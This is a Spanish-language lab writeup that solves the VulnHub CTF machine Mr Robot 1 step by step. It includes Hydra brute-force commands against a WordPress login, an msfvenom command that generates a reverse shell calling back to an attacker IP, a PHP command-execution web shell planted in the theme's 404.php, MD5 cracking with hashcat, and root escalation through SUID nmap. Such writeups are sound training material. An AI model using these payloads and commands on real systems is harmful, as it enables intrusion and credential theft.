← Volver a writeups Writeup autorizado

Mr Robot 1: writeup de la máquina de VulnHub

Resolución paso a paso de Mr Robot 1: reconocimiento, enumeración de WordPress, acceso inicial y escalada de privilegios mediante Nmap con SUID.

Portada del writeup de la máquina Mr Robot 1 de VulnHub

En este writeup resolveré la máquina Mr Robot 1 de VulnHub, documentando las técnicas empleadas desde la recolección inicial de información hasta la explotación y la escalada de privilegios.

El objetivo es ofrecer una guía práctica para aprender pentesting y hacking ético mediante la resolución de una máquina CTF de dificultad principiante-intermedia.

Todas las pruebas descritas se realizaron en una máquina vulnerable de laboratorio y dentro de un entorno controlado.

                          _           _
 _ __ ___  _ __ _ __ ___ | |__   ___ | |_ 
| '_ ` _ \| '__| '__/ _ \| '_ \ / _ \| __|
| | | | | | |  | | | (_) | |_) | (_) | |_ 
|_| |_| |_|_|  |_|  \___/|_.__/ \___/ \__|
  • Fecha del writeup: 25/05/2024

  • Dificultad: principiante-intermedia

  • Datos de la máquina

    • Nombre: Mr Robot 1
    • Fecha de lanzamiento: 28 de junio de 2016
    • Autor: Leon Johnson
    • Serie: Mr-Robot
  • Información del archivo

    • Nombre de Archivo: mrRobot.ova
    • Tamaño del archivo: 704 MB
    • Descarga: mrRobot.ova
    • Sumas de comprobación
      • MD5: BC02C42815EAC4E872D753E1FD12DDC8
      • SHA1: DC0EB84DA4C62284C688590EE092868CE84A09AB
  • Descripción

    Basado en el programa Mr. Robot.

    Esta VM tiene tres claves ocultas en diferentes ubicaciones. Tu objetivo es encontrar los tres. Cada clave es progresivamente difícil de encontrar.

    La VM no es demasiado difícil. No existe ninguna explotación avanzada ni ingeniería inversa. El nivel se considera principiante-intermedio.


Resolución de la máquina

Usaré una distribución Kali Linux como máquina atacante.

Escritorio de Kali Linux utilizado como máquina atacante

Fase de fingerprinting y reconocimiento

Descubrimiento de la IP objetivo en la red

sudo netdiscover -r 10.0.2.0/24 -i eth0

Resultado de Netdiscover con la dirección IP de Mr Robot 1

Descubrimiento de puertos en el objetivo

sudo nmap -sS -sC -sV -O 10.0.2.18
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-22 04:49 EDT
Nmap scan report for 10.0.2.18
Host is up (0.00097s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open   ssl/http Apache httpd
|_http-server-header: Apache
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after:  2025-09-13T10:45:03
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:ED:86:2F (Oracle VirtualBox virtual NIC)
Aggressive OS guesses: Linux 3.10 - 4.11 (98%), Linux 3.2 - 4.9 (94%), Linux 3.2 - 3.8 (93%), Linux 3.13 or 4.2 (92%), Linux 4.2 (92%), Linux 4.4 (92%), Linux 3.18 (92%), Linux 3.13 (91%), Linux 3.16 - 4.6 (91%), Linux 2.6.26 - 2.6.35 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.13 seconds

Resumen de los hallazgos

PORT STATE SERVICE VERSION
22/tcp closed ssh -
80/tcp open http Apache httpd
443/tcp open ssl/http Apache httpd

Linux 3.10 - 4.11 (98%)

Fase de footprinting y exploración

Exploración del puerto 80

Al navegar por el puerto 80 aparece una animación inspirada en Mr. Robot y un menú desde el que se pueden ejecutar varias acciones y reproducir vídeos.

Página de inicio de la aplicación web Mr Robot 1

Realizo una búsqueda de archivos y directorios con diferentes herramientas mediante los siguientes comandos:

dirsearch -u http://10.0.2.18:80 -i200    
[05:15:27] 200 -    0B  - /favicon.ico                                      
[05:15:48] 200 -  504KB - /intro                                            
[05:15:55] 200 -    7KB - /license                                          
[05:15:55] 200 -    7KB - /license.txt                                      
[05:16:42] 200 -    4KB - /readme                                           
[05:16:42] 200 -    4KB - /readme.html                                      
[05:16:46] 200 -   41B  - /robots.txt                                       
[05:16:58] 200 -    0B  - /sitemap                                          
[05:16:58] 200 -    0B  - /sitemap.xml
[05:16:58] 200 -    0B  - /sitemap.xml.gz
[05:24:43] 200 -   21B  - /wp-admin/admin-ajax.php                          
[05:24:44] 200 -    0B  - /wp-config.php                                    
[05:24:44] 200 -    0B  - /wp-content/                                      
[05:24:45] 200 -    0B  - /wp-content/plugins/google-sitemap-generator/sitemap-core.php
[05:24:46] 200 -    0B  - /wp-cron.php                                      
[05:24:46] 200 -    1KB - /wp-login
[05:24:46] 200 -    1KB - /wp-login.php
[05:24:46] 200 -    1KB - /wp-login/

Resultado del escaneo de directorios con Dirsearch

nikto -h 10.0.2.18:80

Resultado del escaneo del servidor web con Nikto

- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          10.0.2.18
+ Target Hostname:    10.0.2.18
+ Target Port:        80
+ Start Time:         2024-05-22 05:30:52 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render ent of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-ility-scanner/vulnerabilities/missing-content-type-header/
+ /fflF32uN.action: Retrieved x-powered-by header: PHP/5.5.29.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /index: Uncommon header 'tcn' found, with contents: list.
+ /index: Apache mod_negotiation is enabled with MultiViews, which allows attackers to easilyorce file names. The following alternatives for 'index' were found: index.html, index.php. Se//www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/vulnerabiliti
+ /admin/: This might be interesting.
+ /image/: Drupal Link header found with value: <http://10.0.2.18/?p=23>; rel=shortlink. See: https://www.drupal.org/                                                                     
+ /wp-links-opml.php: This WordPress script reveals the installed version.                   
+ /license.txt: License file found may identify site software.                               
+ /admin/index.html: Admin login page/section found.                                         
+ /wp-login/: Cookie wordpress_test_cookie created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies                                              
+ /wp-login/: Admin login page/section found.                                                
+ /wordpress/: A Wordpress installation was found.                                           
+ /wp-admin/wp-login.php: Wordpress login found.                                             
+ /wordpress/wp-admin/wp-login.php: Wordpress login found.                                   
+ /blog/wp-login.php: Wordpress login found.                                                 
+ /wp-login.php: Wordpress login found.                                                      
+ /wordpress/wp-login.php: Wordpress login found.                                            
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.          
+ 8102 requests: 0 error(s) and 18 item(s) reported on remote host                           
+ End Time:           2024-05-22 05:35:20 (GMT-4) (268 seconds)                              
---------------------------------------------------------------------------                  
+ 1 host(s) tested

Resumen de la exploración de directorios y archivos

Se ha localizado lo siguiente que puede ser muy interesante de comprobar:

  • Archivo /robots.txt.
  • Instalación de WordPress:
    • /wordpress/wp-login.php: página de acceso predeterminada de WordPress.
    • wp-config.php: archivo que podría contener credenciales.
    • wp-links-opml.php: archivo que podría revelar la versión instalada.
  • Archivo /license.txt.

Comprobación de los hallazgos del puerto 80

Comprobación del archivo robots.txt

He localizado un archivo robots.txt y compruebo su contenido.

El endpoint identificado es http://10.0.2.18/robots.txt.

Contenido del archivo robots.txt de la máquina

El archivo robots.txt referencia el diccionario fsocity.dic y el archivo key-1-of-3.txt.

Descargo ambos archivos mediante el comando:

wget http://10.0.2.18:80/fsocity.txt

wget http://10.0.2.18:80/key-1-of-3.txt

Descarga del diccionario fsocity desde el servidor

Descarga del archivo que contiene la primera flag

Compruebo el contenido de los archivos.

cat fsocity.dict | more

Primeras entradas del diccionario fsocity

Es un diccionario. Para conocer su tamaño ejecuto cat fsocity.dict | wc -l, que devuelve 858.160 líneas.

Recuento de líneas del diccionario fsocity

Compruebo el fichero key-1-of-3.txt y obtengo la primera de las flags.

cat key-1-of-3.txt | more

Contenido del archivo key-1-of-3 con la primera flag

Obtengo la primera flag: [073403c8a58a1f80d943455fb30724b9]

Comprobación de la instalación de WordPress

Otro de los hallazgos indica que existe una instalación de WordPress en el servidor.

Compruebo el acceso a través del navegador.

Página de acceso de WordPress

El archivo wp-links-opml.php parece revelar la versión instalada de WordPress.

Versión de WordPress expuesta por wp-links-opml.php

Al consultarlo obtengo la versión 4.3.33 de WordPress.

Escaneo con WPScan
wpscan --url http://10.0.2.18 

Resultado del análisis de WordPress con WPScan

Como ya dispongo del diccionario encontrado en robots.txt, puedo utilizarlo para probar el acceso a WordPress. Antes elimino las entradas duplicadas para reducir su tamaño.

sort fsocity.dic | uniq | wc -l

Recuento de entradas únicas del diccionario fsocity

Obtengo 11.451 líneas únicas. Creo el archivo fsocity.dic.uniq con el siguiente comando:

sort fsocity.dic | uniq > fsocity.dic.uniq

Creación del diccionario fsocity sin entradas duplicadas

El resultado es un diccionario sin repeticiones de 11.451 líneas, mucho más manejable que las 858.160 originales.

Intento realizar un ataque de fuerza bruta contra el acceso de WordPress mediante Hydra y el diccionario depurado.

En primer lugar utilizo la contraseña wedontcare, ya que en esta fase busco identificar un nombre de usuario válido:

hydra -vV -L fsocity.dic.uniq -p wedontcare 10.0.2.18 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username'

Ataque con Hydra para enumerar usuarios de WordPress

Encuentro un nombre válido con este diccionario: elliot.

Hydra identifica el usuario válido elliot

Uso Hydra de nuevo para intentar descubrir la contraseña del usuario con el mismo diccionario.

hydra -vV -l elliot -P fsocity.dic.uniq 10.0.2.18 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect'

Ataque de diccionario con Hydra contra la contraseña de elliot

Al poco tiempo de comenzar el ataque se detecta la contraseña del usuario: ER28-0652

Hydra identifica la contraseña del usuario elliot

He conseguido las siguientes credenciales:

Usuario Password
elliot ER28-0652

Fase de explotación

Acceso al panel de control con las credenciales obtenidas

Con estas credenciales puedo acceder al panel de administración de WordPress. Este acceso permite modificar componentes de la aplicación y buscar una vía para obtener una shell.

Panel de administración de WordPress

Obtención de una shell remota

Busco en Metasploit un módulo para WordPress que permita cargar una shell.

Obtención de una shell mediante Metasploit

Inicio Metasploit con msfconsole y ejecuto search wordpress shell.

Búsqueda de módulos para WordPress en Metasploit

Selecciono exploit/unix/webapp/wp_admin_shell_upload y reviso las opciones que requiere el módulo.

Opciones del módulo wp_admin_shell_upload de Metasploit

Defino el nombre de usuario, la clave y el host remoto.

set USERNAME elliot
set PASSWORD ER28-0652
set RHOST 10.0.2.18

Configuración del módulo de Metasploit con las credenciales obtenidas

Creo una reverse shell con Msfvenom que apunte a mi máquina Kali y al puerto 4444:

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.0.2.14 LPORT=4444 -f raw > /home/kali/desktop/mi_reverse_shell.php

Generación de una reverse shell PHP con msfvenom

Desde el panel de administración de WordPress intento subir el archivo generado.

Acceso a la sección de plugins de WordPress

Selección de un archivo para subirlo a WordPress

Intento de carga de la reverse shell en WordPress

Restricción de formato durante la carga del archivo

Segundo intento de carga del archivo en WordPress

Mensaje de error al intentar cargar la reverse shell

La carga no se completa porque WordPress exige formatos de archivo concretos.

Obtención de una shell modificando un archivo legítimo de WordPress

Como alternativa, modifico un archivo legítimo del tema para que ejecute la shell al cargarse. Accedo al editor del tema activo y selecciono la plantilla 404.php, que solo se ejecuta al solicitar una página inexistente.

Editor del archivo 404.php del tema de WordPress

Añado una minishell que ejecutará los comandos recibidos mediante el parámetro cmd.

<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>

Minishell PHP añadida al archivo 404.php

Compruebo que la nueva página 404.php funciona.

Ejecución de la página 404.php modificada

Ejecuto un listado de archivos para comprobar la minishell y obtengo el contenido del directorio del servidor.

Listado de archivos obtenido mediante la minishell

Pruebo a leer el archivo passwd y confirmo que es accesible.

Lectura del archivo passwd desde la minishell

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:103:106:ftp daemon,,,:/srv/ftp:/bin/false
bitnamiftp:x:1000:1000::/opt/bitnami/apps:/bin/bitnami_ftp_false
mysql:x:1001:1001::/home/mysql:
varnish:x:999:999::/home/varnish:
robot:x:1002:1002::/home/robot:

Esta shell es limitada, por lo que utilizo php-reverse-shell de Pentestmonkey.

Clono el repositorio:

git clone https://github.com/pentestmonkey/php-reverse-shell.git

Clonado del repositorio php-reverse-shell

Archivos del repositorio php-reverse-shell

Edito php-reverse-shell.php y reviso los parámetros que deben modificarse.

Parámetros configurables de php-reverse-shell

Sustituyo las variables de IP y puerto por la dirección de mi máquina Kali y un puerto libre.

Configuración de la IP y el puerto de la reverse shell

Después de modificar esos valores, copio el contenido de php-reverse-shell.php en 404.php.

Dejo mi máquina a la escucha en el puerto 4444.

Listener de Netcat en el puerto 4444

Visito 404.php para ejecutar el código y recibo una shell de la máquina en el listener.

Reverse shell recibida desde la máquina Mr Robot 1

Mejoro la terminal mediante una PTY de Python:

python -c 'import pty; pty.spawn("/bin/sh")'

Mejora de la terminal mediante una PTY de Python

Reviso /home y encuentro el directorio del usuario robot, que contiene key-2-of-3.txt y password.raw-md5.

Archivos encontrados en el directorio del usuario robot

Intento consultar el contenido de key-2-of-3.txt.

Intento de lectura del archivo key-2-of-3

El sistema devuelve un error de permiso denegado, por lo que reviso los permisos de ambos archivos.

Permisos de los archivos del usuario robot

key-2-of-3.txt solo puede leerlo su propietario, mientras que password.raw-md5 tiene permiso de lectura para cualquier usuario.

Elevación de privilegios

Elevación desde el usuario daemon al usuario robot

Consulto password.raw-md5, al que sí tengo acceso desde el usuario actual.

Hash MD5 encontrado en password.raw-md5

Obtengo el siguiente valor: robot:c3fcd3d76192e4007dfb496cca67e13b.

El formato parece corresponder a usuario:hash. El nombre del archivo apunta además a que se trata de MD5.

Para comprobarlo utilizo Hash Identifier y le paso el hash.

Identificación del hash como MD5

La herramienta devuelve MD5 como posible tipo de hash.

El siguiente paso es intentar recuperar la contraseña mediante Hashcat:

hashcat -a0 -m0 c3fcd3d76192e4007dfb496cca67e13b fsocity.dic.uniq

Con este comando ejecuto un ataque de diccionario contra el hash MD5 usando fsocity.dic.uniq.

Ataque de diccionario contra el hash MD5 con Hashcat

Este primer ataque no devuelve resultados.

Primer ataque de Hashcat sin resultados

Repito el ataque con un diccionario más amplio.

Segundo ataque de Hashcat con un diccionario más amplio

En pocos segundos se recupera la contraseña.

c3fcd3d76192e4007dfb496cca67e13b:abcdefghijklmnopqrstuvwxyz

Contraseña recuperada a partir del hash MD5

Con esta contraseña puedo cambiar al usuario robot mediante su robot.

Cambio de sesión al usuario robot

Compruebo que ahora puedo leer key-2-of-3.txt.

Lectura de la segunda flag con el usuario robot

Con esto obtengo la segunda flag: 822c73956184f694993bede3eb39f959.

Elevación de privilegios a root

Con el usuario robot, busco archivos con el bit SUID activado:

find / -perm -4000 -type f 2>/dev/null

Listado de binarios con el bit SUID activado

Uso Searchbins para consultar GTFOBins desde la terminal.

Consulta de binarios mediante Searchbins y GTFOBins

Busco la posibilidad de obtener una shell mediante el binario Nmap:

./searchbins.sh -b nmap -f shell

Técnica de obtención de shell mediante Nmap

El resultado indica que las versiones de Nmap comprendidas entre la 2.02 y la 5.21 permiten ejecutar comandos desde su modo interactivo.

La versión instalada es la 3.81, por lo que esta técnica resulta aplicable.

Abro la consola interactiva con nmap --interactive y ejecuto !sh, obteniendo una shell con privilegios de root.

Shell con privilegios de root obtenida desde Nmap interactivo

Reviso el directorio de root y encuentro key-3-of-3.txt.

Lectura del archivo que contiene la tercera flag

Al consultarlo obtengo la tercera flag: 04787ddef27c3dee1ee161b21670b4e4.